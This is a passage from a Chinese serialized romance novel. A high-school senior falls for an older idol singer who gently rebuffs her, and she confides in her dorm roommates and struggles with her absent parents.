那满柜子的酒虽然都是她不认识的，但是这随便一种都这么贵，其他的肯定也不会便宜到哪儿去。
裴祉嫄在心里默默嫉妒了一下。
这世界上有钱人那么多，多她一个不行吗？
目前她是没有收入来源的，账号也不是为了赚钱，她最值钱的就是她八位数的古琴。
看着自己账户余额里为数不多的钱，裴祉嫄在心里默默掉泪。
虽然那钱也不是她的，但是总感觉喝了好浪费。
裴祉嫄下了车，照例从门卫处领取了自己的元旦礼物，然后刷卡进了校门。
在回寝室的路上，她还是忍不住去翻看了昨天晚上的聊天记录。
艰难地翻看完全部聊天记录，裴祉嫄决定下次再也不喝那么多了。
然后给裴珉承发去了一条道歉小作文。
发完后裴祉嫄悲伤地意识到一件事，她这辈子道过歉最多的人居然是裴珉承，而且还都是小作文的那种。
不知道自己怎么莫名奇妙习惯性给他发道歉小作文，有些后悔了的裴祉嫄眼疾手快地撤回了消息。
然后在下一秒看到了头顶的ID变成了对方正在输入中，裴祉嫄突然有一种不祥的预感，紧接着，这道预感被证实了。
Hfueiwndni：歉意收到啦。
裴祉嫄：……
能不能不要每次都这么精准地看到她撤回的消息啊！
尤其还全是除了开头后面全在灌水的那种！
于是裴祉嫄单方面决定，暂时先不理他。
那边长久没有收到回复的裴珉承发送了第二条消息。
Hfueiwndni：头还痛吗？还是我又哪里惹到你了？
8. 喜欢
他怎么老觉得自己很容易生气啊，惊觉自己在他面前的形象不太好，裴祉嫄无语地笑了笑。
YuAn：没生气，头也不痛了。
Hfueiwndni：嗯。
Hfueiwndni：先说好，这次可不能再拉黑人了。
裴祉嫄回了个嗯就关了手机。
这个时候只有厉念在寝室，裴祉嫄跟她就更没什么话题可聊了，打了声招呼就躺上了床。
厉念私下也一向很安静，和她点点头就把思绪放到了复习资料上。
整个寝室当之无愧的卷王非厉念莫属，很多时候剩下三个人想摆烂，一看到厉念还在学习就忍不住翻开书。
安静的空间里时不时地响起翻页声，裴祉嫄的睡意都没了，她翻了个身，下了床。
“吵到你了吗？”
厉念看她下来愣了愣，随即对她说了声对不起，起身就要走，裴祉嫄拉住她，“不是啦，你别走，睡不着，我和你一块写。”
“好吧。”
厉念看她也不生气，放下心来，两人坐在一块沉浸式写作业，连另外两人回来都没有注意到。
“……求不卷教程。”
姜烟澜看郁渺二话不说加入了复习大队，在一旁显得格外格格不入。
当然，到最后她还是一块卷了起来。
615寝室聚集了四位卷王是众所周知的事，也因此班上也产生了很多卷王。
对此，老师们非常乐见其成。
写作业的过程里郁渺也没有让嘴停下来，元旦一到，这个学期就只剩下一个月不到了。
“我准备报考绥大，你们呢？”
绥川大学不仅是绥川最好的大学，在全国也是榜上有名的学校，郁渺早就说过自己要留在绥川不出去，倒也是不意外。
姜烟澜也说自己要考绥大，厉念沉默了好一会儿，看似是在思考，最后也说自己要考绥大。
裴祉嫄是没有目标的，对她来说考哪个学校都一样，能上哪所上哪所，至于专业，她们倒是个个都有了目标，她嘛还是没有想好。
久违的焦虑又开始找上门，导致裴祉嫄晚自习考试时都心不在焉的，错题出了一大堆。
学习成绩好有什么用，她只是一个只知道学习的傻子，现在可以什么都不考虑，大学呢，她以后该做什么啊。
父母在晚了一天后终于想起了她的生日，给她发了生日红包后又嘱咐她好好学习，裴祉嫄不知道怎么和她们说自己的苦恼，他们总是那么忙。
或许连她读高几都记不清。
裴祉嫄迟疑了很久，最终选择去询问更有可能给她建议的裴珉承。
连她自己都没有发现的是，不知从何时起，她开始下意识地相信起了裴珉承。
本不该再继续下去的两个人总是以各种理由而再次有所关联。
于是在这个周末，裴祉嫄没有回家，而是去了裴珉承的家。
三楼分成了几个区域，健身房，工作室，以及舞蹈练习室。
所以虽然公司也有练习室，他们也没有以前那么频繁地去公司了。
裴祉嫄发现这层的隔音做得非常的好，开门之前没有漏出一点声音，她坐在练习室角落，撑着下巴看裴珉承跳舞。
近距离欣赏裴珉承的舞蹈是件很赏心悦目的事，虽然他跳舞不是团里最好的那一个，但毕竟有十余年的经验，加上美貌的加持，路过的蚂蚁都要停下来看一眼的程度。
裴珉承也没有把她晾在一旁不管，很快关掉音乐问她想不想跳舞。
然后告诉她，其实早在他们在楼梯间见到的那一面之前，他就已经见过她了。
裴祉嫄的心跳在和对方对视上的那一秒跳得很快，她分不清莫名其妙涌上来的是什么情绪。
率先错开了视线，裴祉嫄哦了一声，从地上爬起来，走到了房间正中央。
车祸后她很少跳舞了，当然多数时间都是偷偷背着父母练习的，她一边说服自己放弃跳舞，一边又放不下，实在是矛盾得不行。
裴祉嫄不知道是不是因为这样自己才会变成一个对未来纠结的人，所以就算知道妈妈有想培养她成为下一个音乐制作人的想法，也还是不动声色地拒绝了。
轻快的音乐在房间响起，裴祉嫄几乎是瞬间就想起来那是她很早之前在公司练习时放的歌，她看着调试声音大小的裴珉承有些愣神，直到对方一连喊了她几声才回神。
紧接着，在她脑子都没有反应过来的时候身体已经跟着音乐动了起来，裴祉嫄摒弃了杂念，全身心地投入音乐中。
起初只是练舞，后来不知道是不是上头了，又或者是在裴珉承面前放松了很多，裴祉嫄主动地拿过话筒，完成了一场很完美的舞台表演。
裴珉承的目光始终落在舞台中央的裴祉嫄身上，和平时总是沉默着听从的乖巧形象相比，舞台上的裴祉嫄多了很多生动。
格外的引人注目。
练习室的灯光很明亮，但掩盖不了满身光芒的那颗耀眼的星星。
第一次当面听她唱歌和在扬声器里听到的不太一样，也许是她年纪渐长的原因，有些幼稚青涩的声线变得更加清澈，她唱歌的声音还是带着说话时的柔和，只是还蕴含着无法忽视的力量感。
声线很独特，是哪怕淹没在人群里，也能马上分辨出来的声音。
裴祉嫄忍着因长时间练习而逐渐被痛意侵蚀的身体完成了久违的舞台，然后被有所察觉的裴珉承一把扶住。
裴珉承丢掉手里完成录像的手机，在看到裴祉嫄有些晃悠的身体时快速上前揽住了对方的肩膀。
在裴珉承的搀扶下，裴祉嫄坐到了一边休息。
裴珉承才注意到她脸色有些苍白了，蹙眉不语，然后默默地走出去给她接了一杯温水。
“你哪里不舒服？”裴珉承沉默了一会儿，还是说：“你不该逞强的，不舒服就停下好了。”
裴祉嫄抬头，脸和唇色都透着白，可是那双眼睛却是亮晶晶的，“可是我很开心，谢谢你。”
“……”
有点严肃的氛围都被打断了。
裴珉承叹了口气，在她身边坐下。
其实他的视线并不是很热烈，只是很偶尔的，像是不经意地看过来，裴祉嫄抿了抿唇，开口说：“你好奇吗？”
她扭头看向裴珉承，“我为什么不跳舞的原因。”
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“不方便的话可以不说。”裴珉承回：“我不是一定非要知道。”
可是裴祉嫄现在就很想和他倾诉。
或许是气氛很好，又或许是跳完舞的裴祉嫄突然萌生了想要和人倾诉的对象，无论那个人是不是裴珉承。
其实关于自己的过去她一无所知，醒来后眼前只有自称父母的两个人，他们把她接回家，然后告诉她，她失去了记忆。
而他们，是她的亲生父母。
裴祉嫄平淡地接受了一切，直到从医生那里听到自己不可以再从事舞蹈行业。
其实她根本不知道自己喜欢什么，只是刚刚好听到了医生和父母的谈话，身体比大脑先反应过来，那时候她浑身都痛，可是比起外在的伤口，缓慢跳动的心脏好像被无形的利刃扎了一刀。
太痛了。
她无法支撑自己伤痕累累的心脏，父母惊慌的呼唤声响起时，才发觉自己掉了眼泪。
滚烫的眼泪顺着脸颊流下，变成了一片冰凉。
空气里有淡淡的血腥味弥漫，裴祉嫄晕倒过后，再醒来，就被接回了家休养。
然后就被严令禁止不许跳舞。
有时候裴祉嫄分不清是无法再继续跳舞更痛还是坚持跳舞更痛，她无法回到过去挽救自己，也没办法放下一切往前走。
在时间的洪流里，她安静地被淹没。
其实从她受伤的眼睛，裴珉承就大致猜测得到她无法跳舞的原因。
她用轻松的一句话去叙述整个事件，裴珉承却看到了她眼里的迷茫。
那是失去了希望之后再也拾不起来的破碎。
“虽然我高三了，可是我到现在都不知道自己要干什么，”裴祉嫄把杯子放到一边，问道：“你是怎么找到你的目标的？”
这段时间，裴祉嫄从网络上了解到了一些裴珉承的往事，知道他很小的年纪就离开父母独自打拼，从无人问津、被人无视的小爱豆变成人人敬仰的大前辈，他从13岁走到了28岁。
第一次她查的资料太过浅显，裴祉嫄以为这样的他就不会再被骂了，但事实证明，无论你咖位是大还是小，哪怕再火，也是会被天天投厕的。
甚至因为火，一举一动都会被网友放大，像是活在无形的监控之下，容不得他出一点错。
裴珉承没有第一时间回她，他的脑海里浮现出一道娇小的身影，沉默了一会儿，裴祉嫄听到他没有波澜的声音在安静的空间响起。
“你不用太着急去寻找你的目标，你没有站在原地，现在你已经很努力了，可能一时半会你不知道能做什么，但是会有用的。”
“不用刻意去寻找所谓的目标，下一个你喜欢的，就是你新的方向。”
从来不和父母谈论这些话题，裴祉嫄像是什么都懂的孩子不令父母操心，所以她的父母就忘了，她还是一个什么都没有经历过、很多事情都很懵懂的小孩。
裴祉嫄脑海里乱得一团的毛线团像是被一团轻柔的雾包裹，现在被一阵名为裴珉承的风吹开一角。
夜晚躺在家里辗转难眠的裴祉嫄看着手机屏幕上裴珉承漂亮的脸，她觉得，她好像找到了他口中所说的下一个喜欢的，能称之目标的事了。
9. 失眠
舍友们发现裴祉嫄最近很奇怪，平时总是大家一卷就开始卷的人竟然开始花时间在别的地方。
三个人凑在一起讨论。
最后得出了一个结论：她谈恋爱了。
然后三个人就去找裴祉嫄寻求答案。
“啊？”裴祉嫄不明所以，然后否认了，不过犹豫了一下，她还是开口问了一句，“喜欢一个人是什么感觉啊？”
另外三个人比她还震惊，郁渺眼睛都瞪大了，“你喜欢谁？”
她们大多数时间都在一块，实在很难想到她有什么机会接触其他男生。
“我不清楚是不是喜欢。”
虽然那晚是心跳很快，她甚至连手机都快握不住，浑身都失去了力气。
但她还是不敢相信，自己能如此轻而易举喜欢上一个人。
裴祉嫄下意识想逃避，连裴珉承的消息都不再理了。
四个人坐在一起聊天，郁渺和男朋友是异地恋，厉念的男朋友是隔壁班的，姜烟澜没有谈过恋爱，对此给不出什么有建设性的意见，只能撑着下巴听两位有恋爱经验的给意见。
她们问的问题好像都不是很难回答，但裴祉嫄还是答得磕磕巴巴，声音都莫名其妙有点抖。
姜烟澜牵着她的手，试图平复她紧张的心情。
根据这些问题的答案来看，两人诊断出她真的有喜欢的人了，于是最终问题又回到了最初的那个话题。
“所以你喜欢的人是谁啊？”
裴祉嫄没有第一时间回答，反而问道：“如果，我喜欢的人也是你很喜欢的人，怎么办？”
“啊？”被问到的郁渺指了指自己：“你喜欢我男朋友啊？可是你们好像没见过。”
“……”裴祉嫄顿住，然后否认。
看她支支吾吾的样子，姜烟澜好像已经猜到答案了，“咳，你喜欢的人除了你男朋友还有哪一位你不清楚吗？”
闻言，郁渺下意识拉长声线哦了一声，反应过来后目瞪口呆地长大了嘴巴。
“？！”
“等一下，我现在想静静。”
等她缓了缓，才看向已经低下头的裴祉嫄，“不是，你两什么时候认识的？我印象里你不是不追星的吗？”
“你确定你不只是想当我同担，而是想当我……”最后两个字被紧急吞了回去，郁渺感觉世界有点奇妙。
怕自己误解，又反复问了几遍。
在她停下后，裴祉嫄终于找到了能插进去的空间。
裴祉嫄和她们解释了一下那天晚上那个救她的人，简单叙述了一下两个人之间有些复杂的关系。
她其实有想过干脆隐瞒她们编一个别的人，可是又觉得这样做是在伤害郁渺，也是在伤害她们的友谊，纠结犹豫了很久，她还是做不到心安理得地这样做。
裴祉嫄忐忑不安地坐在位置上，希望她们把她骂清醒，又害怕真的会闹得不开心。
“对我们哥动心简直是轻而易举的事，”郁渺说，“我说过了吧，get不到裴珉承的人有难了。”
入坑后郁渺短暂地当过一段时间女友粉，在不合适的早期，现在的裴珉承已经变成了非常好梦的一款爱豆，但是她偏偏要跟所有人反着来，这个时候的郁渺已经坚定的当起了舞台粉。
所以听完倒也是没有多生气，爱豆归爱豆，朋友还是更重要的。
“可是他好像都不喜欢女生。”
这下换剩下三个人震惊了。
“这个我其实也不清楚啦，只是因为他都不传绯闻的，和队友倒是有一大堆CP粉。”
郁渺小声辩解，然后说，“前段时间不是有拍到他和一个女生同行嘛，应该还是直的。”
“……”裴祉嫄默默举手，“假如你说的是大雨天大晚上打伞同行的那个的话，那是我。”
“……”郁渺刚想问点什么，突然想起来她刚才说的话，然后沉默了一会儿，“那现在我又不确定了。”
“……”
四个人沉默地互相注视，良久，姜烟澜问，“就不能是他喜欢我们元元？”
“我觉得他应该只是路过然后顺手。”
这题裴祉嫄会，体内沸腾的热血趋于平静，仔细想想，认识以来好像裴珉承都是很会关心人的样子，但是没事也不怎么主动找她，帮她的那几次，非要解释的话，好像也都是出于善心。
裴祉嫄快速放弃，“算了吧。”
就郁渺说的这个事她没有找到什么消息，想来还是裴珉承托人处理的。
她再喜欢他的话，就有种恩将仇报的感觉。
“你这么快就放弃了？”
姜烟澜说，“万一他也喜欢你呢？”
裴祉嫄郁闷，“那剩下的万分之九千九百九十九不喜欢怎么办。”
“这个……”
姜烟澜不懂，这个了半天都没说出下文。
旁观了许久的厉念鼓励道，“你加油，拿下裴珉承，你就能登上世趋！”
“……”
三个人向她投来目光，厉念露出单纯的笑：“怎么了吗？”
“没事哒。”
“没关系的元元，”郁渺说：“趁年轻，管他呢，冲就完了！”
裴祉嫄眨了眨眼，问：“不介意吗你。”
郁渺摆摆手，“反正和谁谈不是谈，他总不可能孤寡一辈子吧，粉丝都谈恋爱了，正常男人不谈恋爱还正常吗？既然都要谈，不如和你谈，反正他也认识你爸妈，就当提前见父母。”
“？”
没有想到这一步，裴祉嫄又开始退缩了。
几个月前妈妈还嘱咐她千万不要和裴珉承有太多交流呢。
一时的心理冲动换来了很长的后劲缓冲期，聊完天的晚上，裴祉嫄才敢点开两个人的聊天界面。
YuAn：在忙吗？
Hfueiwndni：还以为你又给我拉黑了呢。
YuAn：对不起，我有点忙。
Hfueiwndni：嗯。
裴珉承什么都没有问，一如既往地回复她的消息。
裴祉嫄突然觉得他也是个充满矛盾的人。
跟多数人线上热情线下哑巴的情况相反，裴珉承在网上是真不怎么说话，两个人的聊天框里大部分都是她输出，然后对方冷淡地回一个嗯。
怪让人没有聊天欲望的。
换别人裴祉嫄早就不搭理了。
但是裴珉承私下又很好相处，耐心又好说话，由于早年就开始追梦的经历，他的人生阅历很丰富。
准确来说，以前的很多爱豆出道前都过得蛮辛苦的。
裴祉嫄刷到的视频不仅有记录他辉煌的时刻，也有记录他从青涩少年长成成熟男人的过程，然后她才知道，他那些隐藏在光鲜亮丽外表下的过去。
大明星成为大明星之前，在成为ERATH的珉承之前，离开舞台之后，他还是普通的裴珉承。
能给外人看到的由泪与汗组成的过往令人心
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疼又不禁感叹，过去那个青涩的小男孩这些年成长的很好，他没有辜负父母和粉丝的期待，人品很好，工作也做得很好。
所以，你要把他拉下来吗？
裴祉嫄看着对方发的两句话发呆，然后收到了一个文件。
她疑惑地点开，发现是那天在他家练习的视频。
在她没有留意到的时候，他已经帮她把美好的记忆留下来了。
裴珉承好像真的很全能，拍摄剪辑都做得很好。
甚至还有运镜。
也许是他拍摄得太好，裴祉嫄看着镜头中的自己，有种陌生的感觉。
原来在别人眼里的她，在舞台上的她，有热情的她，是这样子的。
裴祉嫄把文件下载保存好，给裴珉承发去了消息。
YuAn：谢谢你，帮我留住了一份很珍贵的记忆。
Hfueiwndni：不客气。
裴祉嫄犹豫了一下，还是决定找对方说一说。
YuAn：不过你下次能不能不对我这么好。
Hfueiwndni：不开心吗？
YuAn：嗯。
发完很久对方都没有回复，裴祉嫄不知道他是忙还是什么，趁着他不在，一鼓作气地发了想要说的话。
YuAn：不要对我好，你太好了，我害怕。
怕的是什么呢？她没说明白，但是裴珉承应该知道。
又过了很久，裴祉嫄才看到他发来的消息。
Hfueiwndni：嗯。
Hfueiwndni：知道了。
裴祉嫄点了已读，没有回复。
她心绪杂乱地玩手机企图麻痹自己，可是好像整个互联网都在跟她作对，她刷视频会看到裴珉承，看帖子会看到裴珉承的名字，最后就连梦里，也出现了裴珉承的身影。
裴祉嫄脑袋晕晕地睁开了眼，还没有从乱七八糟的梦里脱离出来。
她坐起身，脑子里两个大字在回放：完了。
她这样是要怎么学习啊。
晚上照常的考试过后，裴祉嫄拿着出现了好几道大红叉的卷子发呆，最后掏出手机拍了张照片发给裴珉承。
那边回了一个问号，不太懂裴祉嫄为什么突然给他发了张卷子的照片。
YuAn：都怪你，我考试错了好多。
莫名其妙背了个锅，裴珉承也没有生气，他像是什么都没有发生一样，一如既往地熟练道歉。
裴祉嫄突然后知后觉两个人总是互相对不起。
良久，她叹了口气，理智回神后她也知道自己很幼稚，很莫名其妙，很不可理喻，裴珉承肯顺着她来也是他脾气好。
虽然觉得最近自己道歉得有点频繁了，但是还道的还是得道，不然她良心不太安。
YuAn：对不起，考试没考好我心情不太好。
Hfueiwndni：没关系。
YuAn：但是还是怪你，因为考试的时候，我脑子里都是你。
上一秒还秒回的人下一秒就消失了，裴祉嫄发完就把消息撤回了，她知道，他一定看到了。
裴祉嫄收起手机，和姜烟澜等人一起去了超市。
路过货架上摆着的果酒，裴祉嫄突然很想喝一口，最后由于明天还要上课放弃了。
她才不要因为心情差喝酒。
这个晚上，裴祉嫄没有再收到消息。
然而睡不着的，从来不只她一个。
10. 告别
裴珉承不知道事情怎么会变成这样，在熬过无数个为了加班而失眠的日子后，久违地为了私人感情而睡不着。
想到最后，他觉得可能是最近两个人走得太近，而恰好裴祉嫄这个时间段很需要有人陪，才会弄错感情对象。
裴祉嫄还小，她会搞不清楚。
但他不可以。
裴珉承挑了个裴祉嫄不会醒来的时间给她发了消息。
于是第二天一早上因为冷而赖床的裴祉嫄缩在被子里看手机的时候，就看到了比寒冬腊月的破天气更让人烦躁的话。
Hfueiwndni：你年纪还小，好好学习才是你目前应该放在首位的事。
Hfueiwndni：我说让你找你目标，你可以慢慢找，但不要病急乱投医。
裴祉嫄回了个哦就没再理人。
也许是意识到两个人的现状比较危险，接下来的时间里裴珉承没有再给她发过消息，当然，裴祉嫄也没有主动找过他。
她很生气，主要是不是气他不喜欢她，毕竟她幼稚，一看就不是裴珉承会喜欢的，她接受了这一点。
但是裴珉承居然说她是病急乱投医，简直是在侮辱她。
两个人彼此躺列了很久，宿舍里的人也没有再询问她现在到哪一步了。
裴祉嫄很理智的收回了自己的感情，把心思投入到学业上。
很快高三的上学期就画上了句号。
高三的假期短暂，只有十二天，住在外省的厉念一放假就买票回家了，剩下三个人拖到第二天才慢吞吞地出校门。
裴祉嫄还记着和爷爷奶奶的约定，也没回家，给爸妈发了消息之后就径直奔向了爷爷奶奶家。
然后在附近碰见了正在回家的裴珉承。
“……”
忘了，他也住这。
裴祉嫄决定无视他，目不斜视地从他旁边路过。
正打算喊人的裴珉承：“……”
裴祉嫄不想在他面前显得很慌乱，心脏在使劲地跳动，但是面上还是保持住了云淡风轻的模样，但是这就造就了一个尴尬的场面。
走得比她快的裴珉承根本花不了几秒钟时间就走到了她身边。
“……”
裴祉嫄才懒得和他比赛竞走，当即就停下了步子。
她落后他半步的位置，准备等他走了再走，前面的人也跟着停下了脚步，过了一会儿，裴祉嫄听到他无奈地叹了口气，然后转头看向她：“打算就这样不理人了？”
“哦，我就是不准备病急乱投医了呗，不满意？”
“……”裴珉承沉默了一会儿，其实现在的状况是在他预料之内的，他大概能猜得出来裴祉嫄会不开心，然后呢？
就这样渐渐疏远就好了。
他想。
裴珉承是个很冷静的人，不然也不会为了所谓虚无的梦想和爸妈定下约定，然后一个人独自在外打拼多年。
他明白怎么做是对两个人都好的，所以他准备就这样放任两个人渐行渐远。
他本来是这样想的。
但是就在刚刚，他突然觉得很闷，好像有一口气卡住无法吐出，让他连简单的呼吸都变得有些艰难。
所以他转身了。
即使不明白自己现在在干什么。
两个人的沉默氛围被一道苍老的声音打破。
“怎么到门口了都不进来啊？”爷爷站在门口看着两人，问道：“元元，这是你朋友吗？”
“……”才不是。
总之最后的情况就是裴珉承被盛情邀请进去了。
晚餐时，裴祉嫄格外地沉默寡言，她一言不发地坐在餐桌上，听着裴珉承三言两语就把两位严肃的老人家哄得开心极了，她觉得，自己好像不应该出现在这里。
怎么谁都比她更像有家人的呢。
好不公平啊。
即使是这个时候，她的父母都不在身边，裴祉嫄低头，以此掩饰自己开始酸涩的眼眶。
真没出息。
裴祉嫄唾弃自己，又没法忍住委屈的情绪，味同嚼蜡地扒拉着碗里的白米饭。
裴珉承看了她一眼，没有说话，跟随他目光看过来的两位老人才发现她现在一副走神的样子。
“怎么了元元，”爷爷担忧地开口：“是因为你爸爸妈妈不在身边有点难过吗，没关系的元元，你爸妈工作忙，爷爷奶奶有空，可以陪你。”
裴祉嫄吸了一下鼻子，快速站起身冲三人道：“我吃好了，爷爷奶奶，你们慢慢吃吧，我要睡了。”
此举很不礼貌，可是她怕自己憋不住摇摇欲坠的眼泪了。
裴祉嫄说完就冲上了楼，全程都没有分给裴珉承一个眼神。
身后是爷爷奶奶和裴珉承道歉请他多包涵的声音，裴祉嫄连听下去的勇气都没有，砰地一声，门关上了。
楼下热闹的气氛随着这声响而凝固，为了不让两位老人家太难过，裴珉承打消了立马离开的念头，和他们一起吃完饭才起身告别。
回到家后裴珉承醒了一瓶酒，就这么安静地一杯杯喝下去。
几杯酒下肚，裴珉承才总算压住了想要去安慰她的冲动。
就这样吧。
想明白后裴珉承没有再继续喝酒，由于接下来还有工作，早早地就睡了。
裴祉嫄这几天都没有回家，也没有出门，每天睁眼就是看书学习。
她决定要考一个距离这里十万八千里的大学，离所有人都远远的。
爷爷奶奶当然也没有察觉什么不对，只以为她那天只是突然的情绪上头，看她还能有心思学习，就放下了担心。
就这样抱着“我要当一个完美的学习机器”的想法忍着学了几天后，裴祉嫄刷到裴珉承正在海外巡演的视频，还是没有忍住给他发消息。
YuAn：我能去找你吗？
发完又觉得这句话很有歧义，裴祉嫄撤回修改了一下重发了一次。
YuAn：我能去看你的演唱会吗？
她没想过能收到裴珉承的回复，毕竟他们已经好多天没有说话了。
她发完就先去买机票了，买完后发现对方在几分钟前回了她。
虽然回还不如不回。
Hfueiwndni：……我很忙。
Hfueiwndni：你先好好学习。
不过这也在意料之中，裴祉嫄回了个哦，然后转头就去找了姜烟澜。
姜烟澜二话不说地就答应了。
她知道这场演唱会就算是看了，裴祉嫄也不一定会高兴，但是好歹有个人在旁边陪着她，还能带她去散散心。
裴祉嫄很感激，主动承包了来去机票以及路上所有的费用，姜烟澜也没有和她客气，两个人约定好
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机场见。
于是在裴珉承不知情的情况下，裴祉嫄看完了这场演唱会。
他倒是意气风发，在舞台上永远游刃有余。
有很多歌的歌词里提及演唱会都是悲伤的，好像它代表着告别。
所以她也决定告别。
演唱会结束后裴祉嫄安静地跟着姜烟澜退出了场馆，收拾整理好情绪后，两人决定去周边打卡。
这次，大概是毕业前最后一次能出来玩那么久了。
早知道应该叫上另外两个人，不过她们好不容易能回家父母相处，还是不打扰了。
有些心不在焉地跑神了一会儿，裴祉嫄就被拉去拍照了。
有句话说得好，我的人生可以是毛坯房的，但是朋友圈必须得是精装的。
不开心归不开心，拍照还是要好看的。
两人一路玩一通拍，最后找了个店坐下休息了。
裴祉嫄忙着吃东西，姜烟澜忙着修图。
“p好看点哦。”
姜烟澜头也没抬，“包的。”
裴祉嫄边吃边回复妈妈的消息。
往事随风：[红包]
往事随风：妈妈这段时间太忙了，对不起啊元元。
裴祉嫄叹了口气，回复了一句没关系。
往事随风：元元，她们要出道了。
裴祉嫄知道妈妈没有说出的话是什么，主动说要去公司等她一块儿回家。
往事随风：那你明天到公司给我发消息，我等你哦。
YuAn：好。
结束和妈妈的对话，裴祉嫄如释重负地松了口气。
为什么妈妈总觉得事后说声对不起就可以弥补一切呢？
她不清楚。
姜烟澜已经飞快修好了图并给她发了一份，“大功告成！”
“辛苦啦大功臣，快吃东西吧。”
裴祉嫄收敛好情绪，在姜烟澜的催促下把那组图片发在了朋友圈。
郁渺两人很快就在底下点了个赞，控诉两人出门玩都不带她们玩，四个人从朋友圈聊到群聊。
因为第二天要去见妈妈，两人没有在此地久留，很快就飞回了国。
四个人从国外聊回国内，在群里裴祉嫄向来是常常潜水窥屏的那一个，今天尤其的沉默，姜烟澜察觉到她心情没怎么变好，也没有点破，只是伸手捏了捏她冰冷的指头。
“早点休息，不要熬夜。”
姜烟澜虽然不太放心，但是拗不过裴祉嫄，最后只能说了一句没什么用的话。
与她告别后裴祉嫄站在空荡的路口发呆，不远处的别墅没有亮灯，她知道这个时候的裴珉承大概在和队友聚餐或者一个人躺在酒店，不然也不会有勇气站在这里正大光明地看。
其实她也知道自己的喜欢来得莫名其妙，她喜欢裴珉承的脸和声音，喜欢他温柔说话的样子，喜欢他煮饭的样子，可是更喜欢他忙碌也会抽时间陪自己。
这是喜欢吗？
她现在也搞不清楚了。
裴祉嫄顶着一头浆糊回到家，爷爷奶奶已经睡了，即使知道房间隔音很好，她还是下意识轻手轻脚地动作。
躺在床上时她以为她会转辗难眠，但可能是太累了，几乎是刚沾上枕头她就睡了过去。
于是她没有看见在黑夜里亮起的屏幕上弹出一条消息，又在下一瞬被撤回。
11. 朋友
第二天一大早裴祉嫄就去了公司，这个时候裴珉承还在外面工作，裴祉嫄不怕遇到他，但是自己并非是公司内部人员，能不进去还是不进去了。
裴祉嫄给妈妈发了条消息就站在门外等。
在她盯着黑掉的屏幕发呆时，一只手突然拍了拍她的肩膀，裴祉嫄吓得弹了起来，人还没反应过来眼泪就先落了下来。
“……”
来人显然没有意料到事情会变成这样，慌里慌张地一边掏纸巾给她擦眼泪一边道歉：“你别哭了，我不是故意的。”
裴祉嫄接过纸巾擦掉眼泪，然后红着眼瞪他：“不许说出去啊我警告你。”
“哦。”徐寅河摸了摸鼻子，“你在等岑老师啊？怎么不进去等呢？”
“这又不是我家，我能有事没事就跑进去吗？”
“没关系啊，公司很多人都把你当编外人员看来着。”
“……”裴祉嫄顿了顿，说：“反正我不进去。”
“不进就不进，你别生气呀。”徐寅河道：“不过岑老师可能还要一会儿，你先去附近等等吧，外面很冷的。”
裴祉嫄看了一眼手机，妈妈确实发消息说她还要一会儿，让她先找个地方等她。
“哦。”
裴祉嫄转头就走。
然后发现徐寅河也跟了上来。
“不练习你跟我后面干什么？”
徐寅河神情自然地回答：“当然是送你去了。”
两个人一前一后的走着，路途中并没有交流。
徐寅河是裴祉嫄的初中同学，中考后成为了HSP的练习生，是HSP今年计划推出男团的出道预备役成员。
两个人的来往不算频繁，但是关系却能算得上不错。
他是那种长相很乖的男生，笑起来很可爱。性格也很好，情绪超级稳定，不管和谁说话都会给对方提供价值情绪，裴祉嫄很喜欢和他相处。
哪怕什么都不说，内心也会变得很平静。
把她送到店里又给她点了喝的之后徐寅河才转身离开，裴祉嫄坐在奶茶店里看窗外的路人。
然后叹了口气。
不知道从什么时候起，她的生活里有了好多裴珉承存在的痕迹。
裴祉嫄翻看手机的时候才发现裴珉承给她发过消息又撤回了，她不知道他想说什么。
又或许是发错了对象，不然为什么不再发一次。
内心不断在挣扎，裴祉嫄还是没有控制住自己。
她给妈妈发了条消息后就离开了奶茶店。
然后跑到了裴珉承的家门口，她实在受够现在这个氛围了，今天一定要把事情都说明白。
一月底的天气还是冷，裴祉嫄倒是不怎么担心被爷爷奶奶看到，他们两位冬天也不怎么出门，所以放心地坐了下来。
明天是一月的最后一天，也是除夕日，裴祉嫄一路走过来的街道都是热闹的，到处张灯结彩，只有这里仿佛与世隔绝。
安静又冷清，除了微弱的灯光，就只剩下风刮过的声音。
很快，天色暗了下来，天上响起了放烟花的声音，可惜无法照亮这处角落。
裴祉嫄坐在冰冷的石阶上，仰着头去看烟花，临近除夕，这几天外面几乎是天天都有放烟花的，裴祉嫄一次也没出去看过。
不知过了多久，裴祉嫄的脖子都仰到发酸，她扭了扭酸胀的脖子，一转头看见了身穿一身黑静静站立在距离她几步之遥外的地方，正目不转睛地看着她的裴珉承。
也不知道他来多久了，是不是觉得她很烦人，他会讨厌自己吗？
白天来的时候裴祉嫄满腔的勇气，随着时间的流逝也渐渐消失，现在看到他，更是直接用光了。
裴祉嫄没再看烟花，站起来活动了一下有些僵硬的身体。
裴珉承已经走到了她面前，裴祉嫄没出息地低下头道歉：“对不起，我……”
不说话还好，一开口藏都藏不住的哽咽，裴祉嫄觉得现在的自己太矫情了，把眼睛瞪大试图阻止眼泪脱逃。
她不说话了，裴珉承也没开口。
就这样安静地站了一会儿，裴珉承叹了口气，跟妥协似的牵起她冻得发白的手走进了家里。
裴珉承松开她的手，去将房子里的供暖系统打开，裴祉嫄站在门口没动，过了一会儿，房间里的温度开始升高了。
裴珉承回来时见人还站着，像块冰雕一样动也不动，又好脾气地去牵人。
“来找我你怎么不告诉我呢？”裴珉承道：“万一我今天不回来呢，你打算在这冻一夜吗？”
缓和了一会儿情绪，裴祉嫄再开口时已经没有带哭腔了，只是她依旧低着头，不安地掐着自己的手掌心。
“我跟你说，你会让我过来吗？”
不会。
裴珉承默默在心里回答，看她这样子实在无法说什么话。
“你现在是不是在想，我很烦啊。”裴祉嫄没抬头，声音也淡淡的没什么情绪，“其实你就不应该救我的，早知道会给你带来一个大麻烦的话，是不是？”
她知道她现在很讨厌，脑子里乱七八糟的，不知道是不是暖气把她的大脑融化掉了，裴祉嫄口不择言地说完，回过神来又开始道歉。
裴珉承抿了抿唇，神色严肃地喊了一声她的全名，然后伸手按住她的肩膀，“你不要胡说了。”
“我没有讨厌你，也没有觉得你是一个麻烦。”裴珉承的声音很冷静，像是在安慰，又像是在叙述事情，“这段时间我没有理你不是讨厌你，我承认我之前说的话伤到你了，对不起，我只是觉得你应该去认真考虑事情。”
“所以你是觉得我幼稚，不喜欢我。”裴祉嫄吸了吸鼻子，“可是你又不是我，你怎么知道我没有认真想过。”
顿了顿，裴祉嫄又小声地补充了一句：“你以为我很想喜欢你吗？谁叫那个大数据天天给我推你的视频，谁让你又偏偏对我好。”
“对不起。”
